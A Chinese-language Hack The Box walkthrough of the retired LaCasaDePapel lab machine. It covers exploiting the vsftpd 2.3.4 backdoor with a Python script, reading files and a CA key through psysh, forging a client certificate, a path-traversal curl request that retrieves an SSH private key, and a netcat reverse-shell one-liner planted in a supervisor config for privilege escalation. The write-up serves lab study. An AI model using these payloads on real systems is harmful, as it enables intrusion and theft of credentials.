HTB-靶机-LaCasaDePapel

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.131

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

执行命令 autorecon 10.10.10.131 -o ./LaCasaDePapel-autorecon

看到开放了21,22,80,443端口,根据扫描的结果得知不能通过匿名的方式访问,但是版本刚好是vsftp 2.3.4存在后门版本,我们直接利用此后门,详情参考:https://www.exploit-db.com/exploits/17491

利用脚本

def exploit(ip, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((ip, port))

    sock.send('USER :)
')
    sock.send('PASS HTBPass
')
    time.sleep(2)
    sock.close()

    os.system("rlwrap nc 10.10.10.131 6200 -v")

exploit("10.10.10.131", 21)

成功利用vsftp后门可正常执行命令,上述利用成功之后会开放6200端口,可以使用nc或者telnet去连接此端口都是可以的,连接上去之后是psysh的shell环境,参考:https://psysh.org/  所以有了如下操作

print_r(scandir("/")) 查看目录
echo file_get_contents("/etc/passwd") 查看文件

print_r(scandir("/home"))
print_r(scandir("/home/nairobi"))
echo file_get_contents("/home/nairobi/ca.key")

读取到一个证书信息,先放着,再看看80和443端口

绑定hosts访问443端口

访问的80端口可以使用谷歌的也可以使用火狐的,这里两个都给出

https://addons.mozilla.org/en-US/firefox/addon/auth-helper/
https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2

不过也就访问下80端口上的信息,在此靶机上没啥大的作用,我们重点看看访问443端口的信息提示证书错误,估计是需要导入证书了,刚好上面获取到了ca.key的信息,可以通过此文件ca.key进行生成证书导入到浏览器即可,具体生成的命令如下

openssl genrsa -out client.key 4096
openssl req -new -key client.key -out client.req
openssl x509 -req -in client.req -CA lacasadepapelhtb.crt -CAkey ca.key -set_serial 101 -extensions client -days 365 -outform PEM -out client.cer
openssl pkcs12 -export -inkey client.key -in client.cer -out client.p12

最终生成p12证书

将其导入到Firefox浏览器里面

导入完成之后再次访问443端口

显示正常了,点击了这两个SEASON-1和SEASON-2

得到了对应访问的URL地址,和avi格式的文件,我下载了其中一个发现是空文件,看了下路径,尝试使用../访问看看

惊奇的发现可以读文件了,也可以通过下载文件来读取文件,直接读取用户私钥信息

可以通过curl命令直接进行读取,注意访问URL的地址类型是经过base64编码的,所以准备好读取的路径经过base64编码即可

curl -k https://10.10.10.131/file/Li4vLnNzaC9pZF9yc2E=

得到私钥给其权限600直接使用密钥进行登录,用户名的话刚好上面读取了/etc/passwd,发现有4个普通用户,都试了一遍确认用户professor可以登陆

下载pspy在目标靶机上执行查看运行的进程确认当前靶机存在计划任务,具体执行了memcached.js 

还发现当前用户组存在SGID权限

所以可以通过备份文件memcached.ini然后新建一个跟其一样的名称文件,里面写入反弹代码即可提权

1.首先在tmp目录下新建反弹shell脚本

cd /tmp
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.6 1234 >/tmp/f' > bmfxshell.sh
chmod +x bmfxshell.sh

备份memcached.ini新建跟此一样的文件名写入如下

[program:memcached]
command = su -c /tmp/bmfxshell.sh

原文地址:https://www.cnblogs.com/autopwn/p/14189473.html